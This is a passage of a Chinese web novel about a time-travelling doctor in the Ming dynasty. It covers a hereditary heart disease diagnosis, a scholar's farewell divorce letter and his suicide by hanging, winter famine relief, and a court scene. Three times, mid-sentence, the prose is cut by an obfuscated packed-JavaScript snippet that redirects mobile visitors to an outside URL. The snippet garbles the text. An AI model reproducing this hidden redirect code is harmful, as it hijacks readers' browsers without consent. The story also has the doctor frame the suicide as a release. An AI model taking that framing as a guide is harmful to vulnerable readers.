“家中……父母高寿?”马淳整理着衣物,状似无意地问,实则已在心中勾勒一幅谱系图。
男子眼神倏然黯淡下去,带着认命般的麻木:“家母……生我时难产,未出月便……便去了。家父……”
他喉结滚动,吐字愈加艰难,“……大约在小儿束发那年没的,年岁,记不清了……”
“……可有兄弟姊妹?”
“有过。”书生的声音低得像梦呓,“一位阿姐,十四岁上去的。一位兄长,十六岁上……也没了。”
他终于抬起眼,迎上马淳洞悉一切的目光,“都是……咳喘厉害,人枯下去……请遍了郎中,药石罔效……就……就拉不住了。小子能活到今日,已算……老天格外开恩了罢?”
遗传性心肌病!
马淳脑中瞬间闪过这个冰冷的词汇。
结合脉象的奇特滞涩、呼吸困难的进行性加剧、早年夭折的家族史……
此症在《黄帝内经》中被模糊描述为“伏梁之积”,或“心疾相传”,皆指此种深藏血脉、代代相残的绝症!
心脏本源结构本已脆弱,如同天生畸形的种子,又在长期的泵血负担中心腔缓慢扩大。
如同被拉伸到极限的皮囊,心室壁日渐变薄变弱,微小的电传导通路亦在脆弱组织中受损。
最终引发这种致命的、不协调的搏动衰竭。
全身气血不得滋养,心肺循环愈发淤塞,终致油尽灯枯。
此疾深入骨髓,无根可寻,回天之术亦无法重铸。
旁边的年轻女子始终低着头。
年轻书生猛地爆发出一阵撕心裂肺的呛咳!
整个人剧烈地蜷缩起来,仿佛要将五脏六腑都咳震出来。
令人窒息的咳声碾过寂静。
许久,咳声渐歇,书生脸上只余一层白里透青的死气,几近透明。
马淳挪开诊脉的手指,缓缓摇头,无声的宣判已然落下。
女子发出一声压抑到极致的呜咽。
书生僵坐片刻,挣扎起身,踉跄一步才勉强站稳。
他喘着粗气,望向马淳的目光里,那份绝望已沉下去,取而代之的是奇异的平静。
他已经认命了!
要不是妻子坚持要让他来京城,见马淳这位神医,他都准备死在老家。
“大夫……”书生询问,“能……能否容内人与小子……在贵处借宿一宿?”
他极力维持着语气的平稳,“路途遥远……她,实在撑不住了……”
马淳的目光扫过他妻子苍白疲惫,几乎站不直的身影,点了点头,“去吧。值夜学徒带路,西边倒座房尚有一间。”
小院西侧那间狭窄的倒座房,仅容一床一几,一灯如豆。
妻子周氏婉娘确实已疲惫到极限,蜷在冷硬的被子下,呼吸很快变得匀长而沉重。
陈知节枯坐床边油灯下,听着妻子的呼吸和窗外的风雪声。
他伸出手,指尖在离妻子脸颊半寸处停下,悬着,虚虚拂过她眼下的那片阴影。
这一点咫尺温存,是他即将坠入黑暗深渊前,唯一能握住的、世间的温度。
他轻轻从包袱最底层摸出一个小油纸包,小心展开。
里面是一小块干透的墨锭和一截用得秃了笔尖的残笔。
桌上备有粗糙黄纸,他仔细撕下一片方正些的。
灯焰幽幽摇曳,他蘸了唾沫,在陶制小碟里仔细地磨墨。
笔尖带着一种庄严的决绝,落到纸上的瞬间,他整个人的脊背似乎微微挺直了些许。
“立休书人陈知节,浙东绍兴府山阴县生员……”
才写下这几个字,胸腔处那股熟悉的憋闷骤然加剧!
他猛地弓腰死死抵住嘴,剧烈的咳嗽被强行压抑在喉咙深处,只有肩膀无法控制地颤抖。
指缝间,温热黏腻的鲜红渗了出来,滴在冰冷的地面。
许久,他缓过气,额上已是冷汗涔涔。
“……娶妻周氏婉娘,婉秀贤淑,秉性柔嘉,持家有度,结发三年未闻片语失德。唯是知节身罹宿疾,沉疴入骨,药石无功,命悬一线,危若朝露,恐旦夕将别……”
写到这里,他停了下来,笔尖悬着,颤抖着。
“……回首结褵以来,累汝荆钗布裙,躬操井臼,奉姑持家,形劳神瘁,未得一日清闲安逸。
“本誓以蟾宫折桂,耀尔门楣,博卿展颜,岂料天不假年,夙愿成空。
“今自顾残躯难久,非但不能谋升斗以续余生,反成累赘之躯,实为负累。每每思之,五内如焚……”
他喘息片刻,喉结艰难地滚动,强提精神继续下笔:
“……更念卿青春尚早,容颜如月下琼瑛,皎洁未凋。
“若令汝固守空帷,孀居寂冷,与枯骨同眠,无益于逝者之灵,徒耗卿芳华之命,虚掷余生。
“此情此景,知节虽魂归九泉之下,亦必痛彻心扉,难安枕席……”
他再次停顿,泪水毫无征兆地滑落,顺着削瘦的颧骨坠下,“啪嗒”打在纸上,模糊了字迹,也模糊了视线。
他将笔挪向空白处,下笔仿佛千斤重:
“……故反复思量,百转千回,痛定思痛。唯以一纸休书,援引古礼,体顺人情,立意出妻。自此凭书为证,你我夫妻恩义两分,天地为鉴。
“卿返本家,自此婚嫁自主,另觅良缘,与陈门上下再无关涉。
“寒舍所遗薄产,唯旧书两箱,文房一套,破袄两件……尽付卿收执变卖,聊抵青春流逝,莫论微薄……”
“……伏愿卿此去,得遇良人淑配,举案齐眉,安享岁月静好。
“粗茶淡饭,亦足慰平生;终身有托,再不经风霜凛冽,再不必忧饥寒交迫。
“此生所负卿深恩厚情,如山海之重,知节虽结草衔环,惟以来世为报……”
落款是“立书人:陈知节顿首泣血为书”。
他咬破食指,将鲜红的血印清晰地按在名字旁。
看着血指印,他微微愣神,又添了两行细小如蝇的字迹,字迹因悲痛而扭曲走形:
“婉娘……莫悲泣。此非卿过,乃我血脉命数定矣,徒呼奈何!唯盼卿……好生活着,平安顺遂,长命百岁……”
“纸短情长,余生珍重。若念旧情,偶焚纸钱一缕,告我你安好,足矣。”
笔搁下时,动作极轻。
他长久地凝视妻子沉睡中犹带忧戚的侧脸。
须臾,他俯身,将墨迹微干与血印的休书,轻轻压在妻子枕边一角。
继而用粗陶砚台小心压住,确保不会被不经意掀起的被子带落,更不会被窗隙灌入的寒风吹走。
这是他最后能给予她的“保障”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065442|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
然后,他站起身,动作缓慢却异常平稳。
推开那扇薄薄的,吱呀作响的柴门。
风雪如冰冷的利刃,瞬间扑打在脸上,刺骨的寒意深入骨髓。
他却恍若未觉,心里只有一个念头,不要让这寒风,冻着了妻子。
在将门关上的刹那,他最后看了眼妻子。
“别了!我的妻!愿来世再见!!”
值夜学徒缩在温暖的门房内打着盹儿,恍惚间听到细微动静,探头一看。
眼前晃过那病书生单薄的,洗得发白的青衿背影,他以为是做梦,呓语了一声继续趴在桌上。
翌日。
雪并未停歇,只是小了一些,天色依旧灰蒙蒙的。
值夜学徒记挂着那对夫妇,依惯例巡查各处,端着热水走到那间小耳房门前,轻轻推开虚掩的门。
那个叫婉娘的女子已经坐起在床上。
她并非刚刚醒来,那身衣物齐整,头发却有些蓬乱。
她的头低垂着,双手死死攥着那张暗黄的纸张,纤细的肩膀剧烈抖动。
那张原本只是苍白的面庞,此刻竟毫无一丝血色。
大颗大颗滚烫的眼泪如同断线之珠,不断砸落在她手中的纸上。
学徒心头猛地一沉,几步抢上前,看清了纸上那硕大刺目的抬头——正是昨夜那书生所书的二字:“休书”。
“小夫人!这……这是怎地了?”学徒的声音带着惊慌失措。
“他人呢?”女子猛地抬起头,声音尖锐得变了调,“陈知节!陈知节!你去哪里了?!你个骗子……说什么想住一晚歇歇脚……说什么给我活路……你给我出来!”
她的声音濒临崩溃,在狭小的房间里回荡。
她像被火燎到一般,赤着双脚就从床上跳下,甚至顾不上穿鞋,攥着那张宣告分离的纸,疯了一样冲出房门,一头扑入门外冰冷的积雪之中!
彻骨的寒意从脚底板直冲天灵盖,她却浑然不觉,深一脚浅一脚地向院外踉跄奔去,凄厉的呼喊划破了清晨冰冷的空气:“知节——”
马淳被这异常的声音惊醒,披衣疾步而出时,周氏婉娘已踉跄着扑出了医馆院门,像一头失去幼崽的母兽,在冰冷的雪地里歇斯底里地呼唤着消失的丈夫。
马淳眉头紧锁,目光扫过紧随而来,满脸惶急的值夜学徒。
“备马!”马淳沉声下令。
马很快备好。
顺着那女子慌乱奔出的方向追寻而去。
小青村不大,通往大路只有一条主干道。
行至村外百步,官道旁有一条几乎被积雪覆盖,通往村外老林子的偏僻岔道。
几行歪斜拖沓,深一脚浅一脚的脚印,一直延伸进那片枯槁的树林深处。
林中新雪皑皑,寂寥无声。
唯有几行孤零零的脚印,一路歪斜拖沓地印向林子深处,然后在视线尽头,蓦然消失。
目光尽头,一株枯死多年的歪脖子老榆树下,树干虬曲的阴影里,赫然悬着一个僵直的人形!
衣袍单薄,正是那件洗得发白的青衿!
脖子赫然套着一根同样洗得发白的素色腰带。
身体早已僵冷,脸上覆着一层薄薄的晶莹雪粒,神情竟是出奇的平静,甚至带着一丝终于解脱的疲惫舒展。
那双曾经写满愁绪和痛苦的眼睛,安静地阖上了。
“知节!不——!”随后发足狂奔而至的周氏婉娘,看到这一幕人间惨状,所有的恐惧都化为现实,发出一声非人的,穿透云霄的惨嚎,眼前骤然一黑,身体直挺挺地栽倒在冰冷的雪地里,再无动静。
学徒们手忙脚乱地将昏迷的女子和那悬在空中的冰冷身躯一同抬了回去。
雪,似乎又大了一些。
马淳独自伫立在那棵承载了生命终结的老榆树下,久久地,无言地望着那悬在风雪中的年轻身影。
值夜学徒红着眼眶递上一物:“师……师父……这是昨夜……他让我拿的笔墨……还有……在他妻子枕边发现的……休书。”
马淳接过那张写满字的黄纸。
他看得很慢。
看完后,他轻轻折起这张纸。
目光重新投向那个悬在风雪树下的身影。
那清瘦书生选择在此了断,或许只因这林子够深,能避开人烟,不让旁人看见他上吊的狼藉模样。
也不让妻子……看见他最后失却体面的样子。
“读书人……”
马淳轻声吐出三个字。
风雪呜咽,似在回应。
读书人,终归要体面……
第239章 这世间苦的,菩萨都忙不过来
冷。
屋里的药味混着腥气,沉甸甸地压在人胸口。
周氏躺在医馆后厢房的土炕上,一动不动。
她没死,但那双睁着的眼睛空得吓人,像两口枯井,映着屋顶黑黢黢的椽子。
两个学徒守在外间,大气不敢出,只隔一阵子就踮脚探进头看看。
怕她想不开。
小六端了碗温热的米汤进来,热气袅袅。“小夫人,多少喝口热的,暖暖身子……”
周氏眼珠子动了一下,转向声音,却没焦点。
嘴唇干裂,微微翕动。
“他……”声音哑得不成调,“他怎么那么狠……”
眼泪无声地淌下来,沿着鬓角,洇湿了粗糙的枕头。
不是哭嚎,是那种连声音都被抽干了的绝望。
马淳站在门口阴影里,看着。
这世间的苦楚,千奇百怪,却总能压弯了人的脊梁。
从累死的老李,到被血脉诅咒拖垮、最终自缢的陈知节,再到眼前这个被彻底掏空灵魂的年轻妇人。
一盏茶。
半个时辰。
周氏就那么躺着,流泪,无声地抽噎。
时间凝滞。
不知过了多久,她终于动了一下。
极其缓慢地,撑着炕沿,一点点把自己从泥沼般的绝望里拔起来。
她转头,那双枯井般的眼睛,直直地望向门口的阴影。
“马神医……”她的声音哑得像砂纸磨过,“都说您是能起死回生的神医……”
她顿了顿,每个字都耗费着巨大的力气,“您告诉我……我该怎么办?”
学徒和小六都屏住了呼吸,目光不由自主地看向马淳。
马淳往里走了几步。
他多久没被人这样问过了?
给人诊病开方,乃至在生死线上挣命,是他的本分。
可该如何活下去?
这种问题,重逾千钧,又虚无缥缈。
他凭什么指点别人的人生?
可那双绝望的眼睛钉着他。
像溺毙前的最后一点光亮。
医者,或许终究是要渡人的。
渡身,也渡心。
马淳缓缓开口,“陈知节的病,深入血脉,药石罔效。我回天无力。”
他直视着周氏空洞的眼睛。
“他活着,每喘一口气,每一刻清醒,都是煎熬。是筋骨血肉里透出来的煎熬。”
“他选那条路……”马淳顿了顿,“对他而言,是解脱。从无边苦海里,爬上岸了。”
周氏的嘴唇剧烈地哆嗦起来。
“你若真放不下,”马淳吐出一口浊气,“不妨想想,他最后的念想是什么?”
周氏的目光下意识地落在那醒目的两个大字上——休书。
“那张纸……”马淳看着它,“不是嫌弃,不是负心。是他用命给你铺的路。他想你活。”
他的目光重新锁定周氏。
“他想你活下去。好好地活。暖衣饱食,平安顺遂,远离他这个无底深渊。这是他命都不要了,能给你的最后一点东西。”
“你过得好了,他魂归九泉之下,才是真解脱,才真正能闭上眼,再无牵无挂。”
他最后一句,轻轻落下:“你要他,**都闭不上眼吗?”
轰——!
像是堤坝彻底决口。
周氏紧绷的身体骤然一软,从无声的低泣猛地变成了嚎啕大哭!
那哭声撕心裂肺,几乎要把五脏六腑都呕出来。
她跪在土炕上,蜷缩成一团,肩膀剧烈耸动,哭得快要断气。
这哭声不再是彻底的绝望,带着宣泄,带着醒悟,带着足以摧毁一切的悲伤。
学徒想去扶,被马淳抬手制止。
“让她哭。”
哭出来,堵在心口的那股死气才能散掉。
窗外风雪更大了。
周氏哭了很久很久。
直到精疲力竭,嗓子彻底哑掉,才转为断断续续的呜咽,身体却依旧控制不住地抽搐。
她的眼神,终于不再是纯粹的黑暗。
马淳看向小六。
“去请张记杠房的掌柜来一趟。就说是老主顾了,急活。”
小六用力点头,转身冲进风雪。
……
一盏桐油灯的火苗晃动着,勉强照亮昏暗的室内。
张记杠房的掌柜裹着一身寒气进来。
他瞥了一眼土炕上木然的周氏,再看看另一边门板上盖着白布的遗体轮廓,心里就有数了。
又是苦命人。
“掌柜的,”马淳声音平稳,“有劳你们了。棺木,按好的规矩来,杉木,厚实些。人,连同这位小夫人,送回绍兴山阴县安葬。费用我来结。”
掌柜的抱了抱拳:“国公爷放心,这趟活我们张记接了。一定办得妥帖,把人顺顺当当地送到地方。”
他看着马淳的脸,在这位年轻的国公身上,他似乎总能看到一种与身份不符的沉重。
这沉重不是装的。
“您是真正的活菩萨,”掌柜的终究忍不住,带着敬意又喟叹了一声,“这年月的脏活累活,别人躲都躲不及……您一次又一次地……”
他没说完,但这半截话里,包含了他见惯生死后的敬服。
马淳没接这话。
菩萨?
他想起雪地里那些木然等死的灾民面孔。
想起老李枯槁的笑。
想起陈知节吊在树上、平静如睡去的脸。
这世间,菩萨忙得过来么?
一阵仿佛从骨缝里渗出的疲惫感,猛地席卷上来。
他扶了一下旁边的门框。
小六见状赶紧上前一步。
“安排人护送小夫人歇息,明早……送行。”马淳摆摆手。
最近的病人,怎么都……这么苦?
苦得像黄莲里熬出来的汁,一碗接一碗灌进喉咙,堵得人喘不过气。
纵然是见惯了生死。
可在现代,有先进的医疗器械,救活的人更多。
再不济,也有许多大夫一起分担。
可是在明朝,偏偏没有什么人能替自己分担这份救不活病人的无力感!
他有系统,可以兑换先进的器械和药物。
可,他救不了这世道。
医者!
最无奈的便是——有心无力!
看着病人一个个在自己面前倒下。
看着病人的家属,像抽空了灵魂的驱壳。
自己却无能为力。
这该死的世道!
为何让普通人这么苦!!
难道,人间真如炼狱,吾等凡人来人间,是为了渡劫?
……
雪夜难行。
回徐国公府的车驾比平日慢了许多。
暖炉烘烤着车厢,本该是暖意融融,可马淳靠在厢壁上,只觉得身上寒津津的,那股透心的疲惫挥之不去。
他闭上眼。
老李家的破败土屋,昏黄的油灯下,婆媳二人无声相对垂泪……
歪脖子树下,被风雪覆面、僵硬的青衿身影……
周氏那双从空洞到撕心裂肺的眼睛……
如同走马灯般在脑海里翻滚。
人间道,怎一个难字了得。
医得了伤,救得了病,挡得了天灾,断得了命数么?
解得了那压在心口、重过千斤的“苦”字么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065443|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
马车终于驶抵国公府宽阔的门檐下。
府内灯火通明,将飞雪映得一片朦胧暖黄。
厚重的朱漆门隔绝了外面的一切风霜寒冷。
掀开车帘,刚踩上门厅温热的青石板。
暖流混合着食物的香气、炭火的气息扑面而来。
内堂的光亮处,徐妙云抱着刚刚吃饱、精神头正好的儿子马寻。
小娃娃穿着大红金线绣福字的小袄,衬得脸蛋红扑扑的,乌溜溜的大眼睛正被母亲手中的拨浪鼓吸引,挥舞着小手,嘴里发出“啊……呀……”的稚嫩声响。
徐妙云侧着头,脸上带着初为人母独有的,温柔到极致的笑意。
她轻轻摇晃着怀里的婴儿,鬓角一缕柔顺的青丝垂下,随着她的动作微微晃动。
灯光在她脸上打下一层柔和的暖晕。
岁月静好,莫过如此。
再寻常不过的一个居家场景。
可这一刻,看在刚从风雪和死寂中挣扎回来的马淳眼里,却有着莫大的力量。
像漆黑冰冷的深海里,猛然撞见一座温暖明亮的灯塔。
像跋涉过无垠沙漠后,眼前突然现出泉水滋养的绿洲。
那颗在医馆、在村道、在歪脖子树下被冷透、被疲惫和沉重挤压得快要停止跳动的心脏,突然间被狠狠地撞了一下。
“回来了?”徐妙云闻声抬头,脸上笑意未减,声音轻软,“外面冷吧?快进来暖暖。”
她抱着孩子,自然而然地向他走来。
暖阁里炭火烧得旺旺的。
桌上摆着几碟精致的点心和一碗尚冒着热气的羹汤。
墙角青砖壁炉里的火苗舔舐着炉膛,发出安稳的微响。
摇篮静静置于炉火暖意笼罩之处。
一切都安稳。
一切都暖融。
“嗯,回来了。”马淳听见自己的声音,带着一丝刚缓过劲儿的沙哑。
他几步走上前。
先是伸出手指,极其轻柔地碰了碰儿子温热、软糯的小脸蛋。
小家伙立刻停下挥舞的小拳头,小脑袋蹭了蹭父亲带着微凉气息的手指,咧开没牙的小嘴,露出一个无邪纯净的笑容。
然后,马淳张开手臂。
不是拥抱孩子。
而是将抱着孩子的妻子,连同妻子怀里那一团暖暖的、鲜活的小生命,一齐搂进了怀里。
一个温暖、坚实的拥抱。
他身上从外面带进来的寒气尚未完全消散,可徐妙云没有一丝躲闪。
她温顺地靠着他坚实的胸膛,怀中儿子好奇地伸出小手,摸索着他肩头上细软的貂绒镶边。
炉火毕剥。
窗外的风雪被厚实的窗棂挡住。
马淳的下颌轻轻抵在妻子的发顶。
他闭上眼,深深吸了口气。
那里面满满都是妻儿的气息。
是家的气息。
劫后余生。
他无比庆幸,庆幸自己没让妻儿看到这几日他眼里的景象。
那些风雪中的挣扎,那油尽灯枯的枯槁笑容,那悬于枯枝下的青衿剪影,那些如同沉沉夜幕般化不开的悲苦、绝望……
他的妻子,只需守着暖阁的炉火,看顾怀中如珠似宝的孩儿,脸上带着这样温柔安然的笑靥便好。
他的归处,就该是这炉火融融、安宁静好的模样。
这便是他用尽全力所要寻到的,所要守护住的——一方庭院,暖炉温汤,妻子儿女,平安无恙。
那些沉重与苦楚……留给他一人承担便够了。
他的肩还能扛得住。
只要背后的这座灯火,常明常暖……
第240章马淳这位菩萨,是神仙下凡!
不出几日,在马淳的带动下,官道两侧临时支起的简陋草棚。
棚下烟火缭绕,大铁锅里咕嘟着浓稠的米粥蒸汽。
锅灶旁,十来个身着太医院服色的年轻学徒忙碌着,舀粥、递碗,动作麻利。
排着长队的人群沉默得可怕。
他们裹着单薄褴褛的破袄,脸上刻着长途跋涉带来的风霜与麻木,如同冻僵的雕像。
唯有一双双眼睛,在浑浊中紧盯着那口冒着热气的大锅,里面跳跃着一点微弱的光。
“排好!都排好!热粥管够!”一个声音在喊,是太医中气稍足一点的学徒在尽力维持秩序。
一只枯木般的手颤巍巍接过粗陶碗。
盛满滚烫的麦粒粥,掌心烫得哆嗦了一下,碗的主人却浑然未觉,几乎要把脸埋进粥碗里。
孩童被家人死死抱着,舔着干裂的嘴唇,眼巴巴盯着父母手中的碗。
“慢点喝,烫!”学徒忍不住提醒,声音里带着一丝不忍。
人群沉默着吞咽,那滚烫的粥顺着食道滑下去,仿佛给冻僵的五脏六腑注入了一丝微弱的活气。
旁边另一口小锅灶前,学徒小心地碾碎药粉,调进温水。
“喝下去!这是防治秽气入体的,都喝了!”另一个学徒招呼着队伍。
药水苦涩难咽,但此刻没人犹豫。
活下去,是这些人从被风雪推出家园那一刻起,唯一的本能。
太医院轮值的徽记在棚角旗帜上被风刮得猎猎作响。
不远处街角,几辆华丽的马车悄然停下。
车窗推开一道缝隙。
一张张养尊处优的脸,从貂皮围脖和华贵的车帘后,静静观察着这片苦难之地。
他们看见那些如同牲口一样蜷缩在墙角避风的灾民。
看见枯瘦女人怀里冻得脸色发青,却不敢大声啼哭的婴儿。
看见白发苍苍的老者啃着冻硬的饼渣,艰难下咽。
粥棚里的烟火气,混杂着污浊体味,顺着风飘来。
无声的人潮,无声的吞咽。
车里隐隐传来低语。
“……都说太医院在城外设了多处善棚?”
“……亲眼所见……人,太多了……”
“天杀的雪……作孽啊……”
一扇扇车窗很快被放下。
……
午后,徐国公府暖阁内炉火正旺。
徐妙云怀抱着咿呀乱叫的儿子,对面坐着的是位眉目温婉的贵妇,诚意伯府的当家夫人赵氏。
马寻躺在柔软的锦褥里,挥动着藕节似的小胳膊,好奇地去够赵氏递过去的一枚精巧金铃。
“这小家伙,瞧着真壮实,眉眼像极了他爹。”赵氏脸上带着笑意。
“皮得很呢。”徐妙云轻轻拍抚着儿子的背,抬眼看向赵氏,脸上是真挚的关切,“听闻夫人前几日身子有些不适,可大好了?”
赵氏轻叹一声,拿起茶盏抿了一口:“劳妹妹记挂,不过是些**病罢了。倒是昨日随我家伯公去西山赏雪,回来路过城门那粥棚……唉,心里堵得厉害。”
她眼中闪过一丝不忍:“那些人……真是可怜。拖家带口的,冰天雪地里…………”
“谁说不是呢。”徐妙云的神情也黯淡下来,轻抚着怀里的孩子,“夫君回来说起路上的见闻,也是长吁短叹。这老天爷不开眼,受苦的都是穷苦百姓。”
“是啊,”赵氏放下茶盏,“我家伯公今日一大早就吩咐管家,让开了东城的粮仓,调出两千石陈粮,拨给太医院在西城新设的施粥点。”
她顿了顿,语气带着一丝凝重:“他说了,太医院轮值人手有限,光靠朝廷眼下调拨的那点应急粮食,杯水车薪。咱们这些人家,该出份力。能多让一个人喝上口热粥,少冻饿死一个,也是积德。”
徐妙云眼中泛起暖意:“诚意伯仁义。前日宋国公夫人过府说话,也是这般意思。她说看到那些孩子冻得青紫,实在心痛,已让人备了五百石新米和一些厚实的旧棉衣送过去了。”
她将马寻交给一旁的乳母,亲自为赵氏续上热茶:“夫人说得对,积少成多。夫君常说,这世道能担一点是一点。咱们守着自家的安乐窝,总不好眼睁睁看着近在咫尺的乡亲们遭这样的大难。”
“是啊……”赵氏深深点头,“再多的富贵,若是周边都是冻死骨,看着听着,心里哪里能安生?咱家国公也是这个意思,出点粮米,求个问心无愧罢了。”
窗外的风雪依旧在呼啸,但暖阁内的两个女人,因着那份力所能及的“问心无愧”,眉宇间的郁色似乎淡去了几分。
诚意伯府的动作仿佛一个无声的信号。
很快,更多华丽的马车停在了太医院设在城内各处相对集中的“施药点”或者“捐粮登记处”门前。
“宋国公府,捐粳米八百石,陈米三百石,旧棉被褥一百套!”
“曹国公府,捐麦子五百石,高粱五百石,干柴五百担!”
“永平侯府,捐精米六百石,另有御寒皮靴两百双!”
记录官报出一个个沉甸甸的数字,声音比前几天洪亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070791|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了些许。
一张张来自不同勋贵府邸的管家递上盖有家主印鉴的条子。
太医院负责接洽的吏员忙得脚不沾地,但脸上终于不再是绝望的凝重,添了几分烟火气的忙碌。
更多的杂役、护院开始将一袋袋粮食、一捆捆棉麻衣物从勋贵府邸的后仓抬出。
沉重的粮袋压弯了扁担迅速被赶来的骡车、马车拉走,注入那些冒着炊烟的粥棚。
城西门内的一片开阔地,临时清理出来成了堆放捐赠物资的场地。
数口新支起的临时大锅烧得正旺。
几个城内颇有名望的富商也带着伙计和自家的厨子、管事来了。
“冯记米行,捐新米一千石!伙计几个留下听太医院调遣!”
“隆盛布庄,捐御寒粗布两百匹,旧棉衣三百件!伙计们搭把手,把这些给煮饭师傅送去!”
热粥的香气更加浓郁地弥漫开来。
穿着臃肿的富户、精明的掌柜和满面烟灰的伙计短暂地混杂在一起,忙碌的身影穿梭着。
虽然彼此间很少交谈,但一份默契在无声的搬运、煮制、分发中流转。
那些排队的灾民队伍尽头,开始零星出现一些城里普通百姓的身影。
他们或提着小篮,里面装着家中刚蒸好的杂粮窝头;或抱着几件虽旧但干净的棉袄。
看着粥棚里人山人海,看着官家、富户家的管事都在忙碌,这些人不再那么惧怕和犹豫。
一个个沉默地走上前,将东西放在指定的筐子或布匹堆旁,又沉默地退回去,很快消失在人群中。
无人夸耀。
他们只是想,自家少吃一口,或许真能帮到一个和自己一样在挨饿的人。
雪太大了,心不能凉。
太医院的老太医站在临时搭建的木台上,望着下面这片由沉默支撑起来的喧嚣。
风雪灌进他的旧棉袍,他却似乎感觉不到寒意。
目光扫过那一袋袋堆积如山的粮食,一件件御寒衣物,再看向那些在粥雾热气中舔着碗,脸上终于恢复了些许血色的灾民。
最后,他的视线落在那些匆匆送来物资又匆匆离开的普通百姓身上。
老太医干瘪的嘴唇微微动了动,想说什么,终究只是无声地张了张。
一股滚烫的热流在他胸腔激荡盘旋。
他猛地背过身去,布满皱纹的手用力抹过眼角。
只觉喉头梗着一股难以言说的东西。
雪没有停。
但熬煮的热粥雾气更浓了,丝丝缕缕,执着地向上飘散……
第241章查清了!原来朱雄英也是吕氏害的
皇城,乾清宫。
几份摊开的奏疏躺在朱元璋面前龙案上。
他正欲抬手,殿门外传来细碎的脚步声。
马皇后轻手轻脚地进来,手里捧着个朱漆托盘,上面是一碗热气腾腾的羹汤。“天寒,陛下且歇息片刻,用些暖身的汤水罢。”
朱元璋抬眼,目光落在那份描绘城外粥棚景象的密奏上。“你来得正好。”
皇帝舒展着手臂,脸上难得地带了点松快:“那小子,行事倒是愈发稳了。”
“陛下是说?”马皇后手上动作没停,抬眼问道。
“还能是谁?你家那神医弟弟!”朱元璋语气里带着赞许,“以他国公之尊,亲自带着太医院那帮御医在城外支棚施粥舍药,做派敞亮!用的还是太医院的旗号,没半点私心张扬。这份妥帖,给咱长脸。”
马皇后放下托盘,拿起那份奏疏。
她的目光一行行扫过,渐渐地,眼底那份担忧化开了,露出一丝欣慰的底色。
奏疏里事无巨细,禀报了太医院如何在城外多处设棚施粥舍药,如何赈济涌入京师的灾民,更特别提到是“院判马淳力主并躬行其事”,还带动了城内诸多勋贵富户纷纷解囊。
她放下奏疏,脸上有笑意,却不居功,“能替陛下分忧,为灾民尽力,是他本分。只愿那些流离失所的人,能撑过这个寒冬。”
朱元璋端起那碗羹汤,却并不急着喝,“这小子行得正!这风头,出得好!给咱长脸!”
他看向马皇后,“以他徐国公府的名头,亲自下场去施粥舍药,那叫邀买人心,容易引人非议。挂个太医院的牌子,把事情办得利索还堵得住悠悠众口。心里有大局,也念着百姓死活……啧。”
马皇后眉眼弯弯,心里那块石头彻底落了地。“他性子本就如此。雪天难熬,城外**了恁多苦命的,他见了岂能忍心?”
她走到朱元璋身侧,看着窗外飘飞的雪花,“他这是给陛下分忧呢。”
朱元璋点点头,将碗送到嘴边:“嗯,是省了咱不少心。”
热汤入喉,暖意蔓延开去。
这时,殿门外传来内侍的通禀:“太子殿下求见。”
“进来吧。”朱元璋放下碗。
朱标一身藏青色常服走了进来,脚步沉稳,脸上带着振奋。
他向帝后分别行礼:“父皇,母后。”
朱元璋抬手示意他起来:“这大雪天的,你跑什么?宫里差事交代下去了?”
“回父皇,”朱标声音清朗,“儿臣正是为此事而来。向父皇母后禀报一声,城外灾情暂稳住了。”
他顿了顿,继续说道:“太医院在城外设了九处施粥药棚,日夜不停。因有徐国…有舅舅牵的头,加上太医院的名义,如今城中响应者众。
“宋国公、诚意伯、曹国公府都捐了大宗粮米。还有永平侯、冯记米行、隆盛布庄……捐粮捐衣的不在少数,连不少殷实人家也自发出来搭把手。”
朱标的声音里透着一股子实感:“粮米、药材、柴薪、御寒衣物,眼下都还跟得上。应天府尹报上来,灾民虽多,有了这些支撑,已不再似之前那般混乱绝望,冻饿致死的这几日明显少了。安置点也腾挪出几处,至少能挡风遮雪。”
马皇后听得欣慰,看向朱元璋:“陛下可听见了?这都是马淳带了个好头。”
朱元璋“嗯”了一声,靠回椅背,目光深沉地落在殿顶那繁复的藻井上。“好,好……这事办得不坏。民心安,京城稳,咱这年关也就能安心点了。”他看向朱标,“标儿,你也多用点心,盯着点各处衔接,别让人钻了空子,好事办砸了。特别是那米粮药材发放,务必核实清楚,别让贪蠹伸手。”
朱标躬身领命:“儿臣明白,定会盯紧,请父皇放心。”
就在这时,殿门外再次传来动静。
一名内侍在门口屏风处躬身:“陛下,娘娘,殿下。蒋指挥使在宫外求见,说有紧要密报。”
殿内温暖祥和的气氛陡然一凝。
朱元璋眼锐利起来:“让他进来。”
